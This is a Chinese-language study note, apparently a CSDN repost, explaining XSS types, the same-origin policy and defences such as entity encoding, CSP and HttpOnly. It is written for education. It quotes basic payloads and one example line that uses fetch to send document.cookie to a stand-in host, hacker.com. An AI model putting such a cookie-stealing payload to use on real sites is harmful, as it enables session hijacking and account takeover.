w-w0w-w头像

XSS 跨站脚本攻击与同源策略

通过 PortSwigger 靶场的实操和底层原理的推敲,我彻底搞懂了 XSS 的本质:它其实是“数据库注入”在浏览器端的翻版。

一、 什么是 XSS?

XSS 的全称是跨站脚本攻击。它的核心原理可以总结为一句话:网站把用户输入的“数据”,当成了“代码”去执行。

这和 SQL 注入的本质完全一样,只不过:

SQL 注入骗的是数据库,让数据库执行恶意的 SQL 语句。

XSS 骗的是用户的浏览器,让浏览器执行恶意的 JavaScript 代码。

二、 XSS 的底层运行机制(为什么能执行?)

网页中的特殊字符(如 < 和 >)是拥有特权的,它们用于定义 HTML 标签。当后端程序员把用户的输入直接拼接到网页源码中,且没有做任何处理时,漏洞就产生了。

例如:
我输入了 <script>alert(1)</script>。
后端原样拼接到网页:<h1>搜索结果:<script>alert(1)</script></h1>
浏览器看到 <script>,以为这是正规代码,立刻执行,于是弹窗。

三、 XSS 与同源策略的攻防博弈

浏览器不是有同源策略(Same Origin Policy)吗?同源策略规定 A 网站的代码不能读取 B 网站的数据,那 XSS 为什么还能偷走用户的 Cookie?

深入研究后我发现,同源策略的核心是“防读不防写”:

内部豁免:黑客将恶意代码注入到了银行网站(bank.com)内部。因为代码是在银行页面执行的,它读取本网站的 document.cookie 完全合法(同源)。

跨域发送:拿到 Cookie 后,黑客用 fetch('http://hacker.com/steal?data=' + document.cookie) 将数据发送出去。浏览器允许跨域发送请求(不允许读取跨域响应),所以数据成功流出。

四、 XSS 的三大型态

  1. 反射型 XSS:恶意代码通过 URL 参数传入,服务器原样返回。需要诱导受害者点击恶意链接。

  2. 存储型 XSS:恶意代码被存入数据库(如评论区)。所有访问该页面的用户都会中招,危害极大,属于“被动攻击”。

  3. DOM 型 XSS:漏洞完全发生在前端 JS 解析时,后端服务器并未参与。

五、 防御策略

  1. HTML 实体编码:把 < 转义成 &lt;,把 > 转义成 &gt;,让浏览器把它们当纯文本看,而不是代码。

  2. CSP(内容安全策略):限制网页只能加载和运行哪些来源的脚本。

  3. HttpOnly 标志:给 Cookie 加上 HttpOnly,禁止 JS 代码读取 Cookie。

六 、存储型 XSS(Stored XSS)

1. 什么是存储型 XSS?

一句话概括:恶意代码被永久保存在了服务器的数据库里,只要有人访问该页面,代码就会在受害者的浏览器中自动执行。

2. 它的攻击流程是怎样的?(案发现场还原)

  • 注入:攻击者在网站的留言板、评论区或用户资料里,提交了一段恶意代码(比如 <script>alert(1)</script> 或 <img src=1 onerror=...>)。

  • 存储:网站的后端程序没有对数据做任何过滤,直接把这段代码存进了数据库。

  • 触发:受害者(或者管理员)打开了这个带有评论的页面。

  • 执行:服务器从数据库读出这段代码,拼接到网页里发给受害者,受害者的浏览器直接将其当作代码执行。

3. 为什么它比反射型 XSS 更可怕?

  • 反射型(Reflected XSS):黑客必须把恶意链接发给受害者,骗受害者点一下才能触发(需要社工)。

  • 存储型(Stored XSS):黑客发完评论就去睡觉了。所有点开这个网页的人(包括管理员),都会自动中招。不需要任何交互,堪称“被动攻击”的大杀器。

  • 蠕虫效应:如果这是一个社交网站,恶意代码会随着用户的浏览、转发自动传播,形成 XSS 蠕虫(比如早年著名的新浪微博蠕虫事件)。

4. 黑客图什么?(危害)

  • 盗取 Cookie(Session 劫持):利用 document.cookie 偷走受害者的登录凭证,然后黑客直接登录受害者的账号,不需要密码。

  • 伪造请求:利用受害者的身份,自动执行转账、改密码、发垃圾帖等操作。

  • 钓鱼/挂马:篡改页面内容,伪造一个登录框,骗受害者输入密码。

5. 如何防御?

  • 输入过滤与转义(最核心):后端在接收输入时(或者前端在渲染时),必须将用户输入的数据当成纯文本对待。把 < 转义成 &lt;,把 > 转义成 &gt;,让浏览器把它们当成普通文字显示,而不是代码。

  • HttpOnly Cookie:给 Cookie 加上 HttpOnly 属性,这样哪怕黑客成功注入了 JS 代码,也无法读取 Cookie。

  • CSP(内容安全策略):通过设置 HTTP 响应头,限制网页只能执行来自本站的脚本,禁止执行内联的 <script> 脚本。

转载自 CSDN-专业IT技术社区

原文链接:https://blog.csdn.net/qq_74160210/article/details/170037447

文章来源转载

评论

评论列表

微信小程序
QQ小程序

关于作者

点赞数:0
关注数:0
粉丝:0
文章:0
关注标签:0
加入于:--